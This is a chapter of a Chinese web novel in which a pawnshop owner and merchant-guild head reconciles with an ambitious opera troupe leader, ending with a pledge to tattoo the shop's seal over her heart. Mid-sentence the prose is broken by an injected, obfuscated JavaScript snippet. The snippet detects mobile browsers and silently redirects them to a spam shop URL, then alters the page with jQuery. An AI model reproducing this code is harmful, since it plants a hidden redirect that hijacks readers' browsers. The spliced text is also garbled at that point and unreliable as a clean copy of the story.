*
十一月的风荡过芳慧园拱门前,雕花卉的砖瓦纳着苍檐寒花的馥郁,此刻是辰时,一架车厢壁镶金的马车迟疑在园门口,园内戏音波了波玉白马车帘,车帘后的手顿在车厢中,食指盖上透亮的钻熠熠。
自上回的事过后,她和青怜有两个礼拜不见了。杨铅霖叹了口气,一阵愁苦弥漫在车内。
“家主,您要……下车吗?”
“不用,走吧。”
“驾——”
随一声马踏,她摇摇晃晃在“咿咿呀呀”里,心绪有些复杂。
她是安南人,从前却住在淮股——安南邻着靖都,靖都邻着淮股,家中典当行的生意是祖母在淮股状大起来的。
祖母素来爱听戏,养了十几个伶人,常叫她们在宅中院落搭台,但祖母喜挑毛病,听完总道不如安南伶人的歌喉。
祖母走后第三年,她将家业迁至安南,兴与这戏曲之邦有缘,在安南的第五年,她成为了安南商会的会头,奉承巴结她的人很多,送到她面前唱戏的“鸟”也很多,但她始终没能挑出一只合心意的鸟。
直到两年前,她在丽春楼门口,无意撞上一只惨兮兮的“小雀儿”,她很不一样。
杨铅霖盘弄着掌中玉衣扣,心中不太滋味,她攥紧了手心。一只雀,如今能来左右她的生意了吗?
在安南快第八年,她因用人不慎,雇了个淮股来的女子当管库,那人脸上长满麻子,看着是个机灵人,不料三个礼拜前夜间,仓库起火,里头储财物一夜烧得精光,这挨千刀的家伙,竟还畏罪潜逃了,现到哪都找不着。
此事致她生意遭重创,信誉大亏,赔款无数。
杨铅霖又叹了口气,外头喧吵的闹市呦呵着“板栗诶——刚出锅的栗子欸——”,她将玉衣扣重新放回纹鹤的衣袋,“咚咚”叩响车厢前壁,“老付,买些栗子回去。”
“诶,好!”
马车停了下来,她没掀帘,懒得与外头的人寒暄。
那天青怜走了以后,她又开始托人挑些品相,歌喉好的小伶人来养,但她养得兴致比从前缺得还要更缺,听她们唱过一回戏便不想再听第二回了,甚至还觉得听得有些心烦。
马车外熙熙攘攘,孩童的笑声“咯咯”,她扶着脖子,转了转脑袋,胸口有些闷。
三日前,她干了件糊涂事:因不愿意赔渡口老渔家传的古董瓷碟,她给了渡口老渔一件仿品,老渔告到府衙无果,便去寻死,差点闹出人命,也叫这事闹大了。
渡口老渔不少邻里乡亲到她当行前头滋事,带铁锹抗棍棒挥菜刀,扬言不要个说法不走了。
那日她不在当行,到淮股打听那个麻子女子的消息去了。她是回来后听掌柜和小徒讲——这事,青怜给她平了。
青怜还托掌柜给她带了句话,说,她这么大个老板,干这勾当,不嫌丢人。
“我丢人?”
她喃喃自语,嗤笑一声,嘴角竟不觉往上扬。
“家主……现在要去?”
老付的声音传进耳里,她晃过了神,脑海中闪过那日青怜执钗挑衣扣的轻柔神色,嘴角的弧度被扼了下来,“回宅邸。”
“驾——”
杨铅霖身微往前仰,长舒了一口气,那只有点“忘恩负义”的小雀儿,这会好像已经不理她了。
车轱辘往前,在街上留下一道浅浅的车辙,街侧,热炉里糕食香作白烟氤氲空气里,满街呦呵声仍不息。
*
杨宅门前,马车未到先缓。
府邸正门镶金的牌匾下,一道熟悉的身影。
老付出声:“家主,青怜班主好似来找您了。”
“呼——”玉白马车帘吹了口气,杨铅霖抵着帘探头。
檐拱翘似锦鲤尾,青砖黛瓦砌的华门前,青怜影子坠在门槛前台阶下。她着鹅黄素裙,乌发披在背上,正微俯腰,伸手抚了一下站在门前,笑嘻嘻咬糖人的八岁小女伶的脸颊,而守在两侧的门子凝着她,不时望向门里,笑得有些犹豫。
上回的事,她问过戏楼里的小姐儿了,是青怜戏唱完了想走,而那个老不要脸的董可盈不让,还强迫她陪酒。
不是青怜上赶着去讨好董可盈。
杨铅霖迈步,从停下的马车踏板上走下,悠悠往门前走近。
小雀儿帮了她,这会又亲自登门道歉,她没有理由不原谅她的。
“怎么办事的?这外头天寒地冻,不知请青怜班主进去吗。”
门子闻言,忙低首,笑呵呵招呼着手往门内:“家主,小的蠢笨。青怜班主,您快里边请。”
她步上台阶,身前的少女才蓦然回首,善睐生辉的眸子瞧见她一瞬,弃了柔色,燃了忮火,“不必了。”青怜转身,语气刻薄。
这模样,还在生气?杨铅霖站在她身前挡了她的去路。
青怜翘首睇着她,冷漠的脸上带着可感的愤恨。
“渡口老渔的事,是你主动出来替我说话的。”杨铅霖笑着往她耳边贴近,她却厌烦地凝眉,偏头往后躲了一步。
“杨老板还有其它事要说吗?青怜要走了。”
尾音一句忿忿的“哼”,她侧过身要从杨铅霖右边离开,杨铅霖却偏身笑凝着她,再度拦了她的路,“有,咱进里头讲。”
“就在这讲。”青怜语气强硬,一副“油盐不进”的模样,侧目时压重了声音,“杨老板,青怜说过,您的宅邸,青怜再不会迈进一步。”
杨铅霖笑容一僵。
吸了口气,仍哄道:“上回的事是误会,怎么不同我讲?”
“因为青怜是贪慕虚荣的下贱玩意。”她的声音很小,咬音却分外地重,瞥了杨铅霖一眼就气冲冲往前走。
“啧。”杨铅霖不悦皱眉,她在这,不就是在等她吗?装什么。失了耐心,她回推了一下身侧人的肩膀,却不料这么不轻不重的一下,青怜即刻煞白了脸,往后踉跄了三步才稳住了身。
“嘶……”她盯着她,神色怨恨。
杨铅霖听说,青怜这两个礼拜,没有登台唱过一出戏。“……”看来,上回伤得不轻。
杨铅霖脾气不来由被磨平了些,向她走近,伸手想搂她,却不知她身上哪处好了伤,手只得离她身体一寸滞在空中。
“伤怎么样了?乖,进屋我瞧瞧。”
“不。”
“……”她看着眼前倔强的眼睛,有点生气,但她知道,青怜的性子,是很犟。她收回手,还是耐着脾气哄她:“你不是不喜欢外头的人看见跟我拉拉扯扯嘛,别闹了,跟我进去。”
身前人还是眄着她,毫无反应。
她抿了一下嘴,无奈到心烦,语气渐渐烦躁:“还有你上回说的事。我可以考虑考虑。”
身前人目光顿了一下,后冷冷哼了一声,“杨老板稍有不顺便拿我撒气,我再进去讨打吗?”
“你!”
“别给脸不要!”
她面色阴沉,骂道。
青怜却不理,自顾走开。
“青怜!”
她猛一下偏身,伸手去拽身旁人的手腕,但青怜迅捷抬手,让她扑了个空,“……”
青怜回眸,不悦瞥她一眼。
“差不多得了。”
听罢,青怜摆回头,往阶下走。
她心里一口气赌得慌,上回她是打算毁了这只得意忘形的雀,但她没想过,没了这只雀的日子,对她来说是种折磨,望着身前执拗的身影,她还是追了上去,“行行行。”她真的拿她没办法。
“……是我错了。”她小声贴到她耳后道,这才牵上了身前的手,“这会行了吧?”
青怜还是一言不发,表情却是松动些。
她轻轻搭住青怜的肩,盯着直挺的背,将人稍往怀前揽,“身上的伤找人看过了没有?”
身前人旋身,脱开了她的手,看似刚烈的神色,暗藏了复杂的蕴意:“杨老板这几日还挺有闲情雅致的。”
杨铅霖望向她余光掠过的小女伶,忽笑出了声。
“吃味了?”
她不答。
“放心,有你在,我还要旁人做什么。”
“宅中还有几个,都是好苗子,就当我给你收的徒子,过会我吩咐人给你送到芳慧园去。”
她目色淡淡,越过杨铅霖朝正门走去,诘问一句,“你在以什么身份给我收徒。”
杨铅霖笑着“啧”了两声,她还真是怕了。
她回身,跟在青怜身后进门。
*
“杨老板方才说的话,还做数吗?”
“我就知道你是为这事来的。”
大院子飘着霜叶,离主寝屋不远的小堂中,“啪叽——”杨铅霖剥开了一颗热板栗。青怜已没了在宅外的气焰,见她坐着无后话,没落座她身侧,而是跪在了她脚下。
“急什么。”她俯身,捻着板栗递到青怜唇边。
青怜凝了凝眉:“杨老板别拿这些哄小孩的招式来打发我。”
栗子香气溢在小堂里,她勾了勾手,棕黄小珠子在青怜嘴边动了两下,青怜目光不觉偏过去,空气显然静滞了很久,少女叼过栗子,咀嚼咽下后却偏要装做什么都没发生。
“分明没人疼,偏天生了副坏脾气。”她笑着看青怜,青怜的身世她知道的,娘是个赌鬼老赖,爹是个人尽可妻的贱人。
青怜躲开视线,眼底颇有慌乱,“杨老板……”
她抬手,打断了青怜的话,问:“对了,那个小豆丁现在怎么样了?”
“您说?我弟弟?”
她点了点头,想起头一回听青怜唱戏时,怀里那个讨喜的小男娃娃,那会青怜的唱腔还有些青涩。
“很好。我弟弟他……很好。”
堂外的风拖着“沙沙”的霜叶磨地声,把青怜捧上台的时候,她看青怜自掏腰包去讨好那些破落户,只以为青怜是个烂好人,没想过这只雀从一开始就在计划着飞出去。
她端量着身下人,指尖轻触她的下颚:“你这么处心积虑想往上爬,他知道吗?”
不到三年时间,青怜不仅在戏曲造诣上取代了钟秦秦,还不知用了什么招,正大光明接手了芳慧园,更让人拍手叫绝的是,她还把戏演到了台外——用伪善,在安南积攒了大片的声望,惹得商会的人与她交往甚欢,合作甚乐。
而如今这一切,被青怜明明白白摆到了她面前,杨铅霖凝着这双看似卑微清高,实则远骛精明的眼睛,“我真是小瞧你了。”
“青怜的弟弟是杨老板您救的,青怜也是您救的,您的恩情大如天,青
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303863|189295||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
怜……不可能在您境况最不顺时坐视不理,更不可能背弃您。”
少女嗓音赤忱,眸色比在台上演忠贞男儿诉深情还真挚,霜风过堂,似乎忽来一朝雪,也不胜她心洁。
杨铅霖不可置否,听到话的瞬间,她的心是软的,但“你这些话拿去骗钟秦秦就得了。”
她清楚,青怜不过是把提醒裹成蜜糖递给她罢了,她在提醒她,如今她的信誉摇摇欲坠,而她青怜能救她。
“生意上我亏了不少,就算眼下这些麻烦事我快处理完了,下任商会会头我也无缘。”她叹了口气,看这只野心勃勃的小雀儿,“我可以最后动用安南商会会头的权利,替你搭台,请各地商帮来,再助你成名路上一臂之力。”
话音未落,她眼锋一转,闪出狠厉,又言:“但是。你要记着,你是我捧红,在你还没傍上个大靠山的时候,和我在一条船上,俱荣俱损。”
心里的不甘涌现,叫她将心中的打算作威胁说了出来,她一边低手扶青怜起身,一边死掐住了她的手:“不过,你想好了。一旦我翻了身,你攀上的山不够结实,我一定会让你摔得粉身碎骨!”
“青怜没这个打算。”青怜垂眼低顺地站起。
“没什么打算?”
“离开您的打算。”
杨铅霖动作滞了一下,力道微松的手心,其间的温度被稳稳托住,恍惚一刹,她可不信青怜的话。
她放开了青怜的手:“呵。我不信。”
“青怜是想要名扬四海,但杨老板对青怜的真情,对青怜来说也很重要。”
她向杨铅霖身前走近,杨铅霖拉住了她的手,却迷茫地移开了目光,口中二字:“真情?”
朴素的牛皮纸捂着板栗,将暖烘烘熏进寒冬里。她贴近杨铅霖,鹅黄衫袖温柔绸缪落在她腿上,“杨老板待青怜很特别不是吗?”
杨铅霖愣了一下,没说话。
“在杨老板眼里,青怜除了是个会唱戏的玩意,是只供人玩乐的雀以外,什么都不是吗?”
她不知道。
只知道没了她的雀儿,她很难受,抓心挠肝的难受。听着滚烫的婉音,她把人拉到了腿上坐下。她第一次想,青怜对她来说,到底是什么呢?
“青怜不想只做一只雀,想站在杨老板身边,想帮杨老板。”
声音循循善诱地蛊惑着人,杨铅霖的手环到她身前,轻拉下她的衣带。鹅黄衣料从僵硬的背部滑落,露出弧线优美的肩颈,玉白的背上浅浅的疤痕还未痊愈,杨铅霖的手轻轻擦过她的背,“你是个狡猾的坏家伙。”
“只要杨老板还肯护着我,青怜就不会想离开您。”
“我让人送些好点的药给你,伤,好好养着。”杨铅霖的声音浮在后脑勺,她的锁骨处埋上一个脑袋,热气落在僵冷的脖颈上。
“你的话,我不信。”
“那杨老板要我做什么才愿意相信我呢?”
坚硬的指尖抵上胸口,杨铅霖轻点她的心头,“在这。留个印记。”
印记?她怔了一下,却强抑着呼吸的不平静。
“我典当行的章印,你见过,我要你在心口刺上一个,如何?”
刺在心口?往后要除去可就难了。她愣了一下,却怕杨铅霖质疑她的诚心,很快应了一声“好。”
“嗯?”杨铅霖显然很意外她答应得这么快,侧面审视她略有惶恐的面色,“真的?”
“真的。但刺在心口,青怜有些怕,不如……”
“我会给你找技艺最娴熟的针笔匠。”
杨铅霖盯着她,呼出的气作狐疑与压迫刺进她脖颈处的每一个毛孔。她点了点头,“好”。
她知道,让杨铅霖相信,打开鸟笼,里头的鸟还会自己飞回来,本身就是一件难事。如果她不付出点代价,杨铅霖不会相信她的。
杨铅霖眨了眨眼,抬起头,似乎没想过她答应得这么轻易,“你……”
“方才说的话都是真的?”
“真的。”
“杨老板还要青怜做什么?”
沉默如波,眷眷在两人相凝的目光中。杨铅霖眼底那架无时无刻都在拨动的算盘,珠子在某刻突然崩了,她背往后靠,伸手把青怜揽在怀前,听她说:“杨老板,青怜哪也不会去,青怜不会离开您。”
她提起青怜的衣裳,披到肩头,掩盖了伤:“这些日子别急着登台,先把身子养好,等我这礼拜将当行的麻烦事处理完了,下礼拜我给你搭台,以商交的由头给各地有点势力的商帮都发去拜帖,到时候唱什么,你自己主意。”
“杨老板,你答应我了?!”青怜回头,眼睛亮了起来,语气欣喜却克制。
她点头,揉了一下怀前人的发,“刺青的事你别怕,我不会让人伤了你的。”
熹光照入小堂,杨铅霖阖上眼,深深吐了一口气,她很久很久没觉得这么安宁了,而怀中那只惊喜微微蠕动的小雀儿,却在想——真好。
杨铅霖终于相信她了。
但她怎么也没想过:
最后这个台,不是杨铅霖给她搭的。
而是刀猖狼给她搭的。
不。
应该说。
最后成全她的人是她自己。
最后了却她的人也是她自己。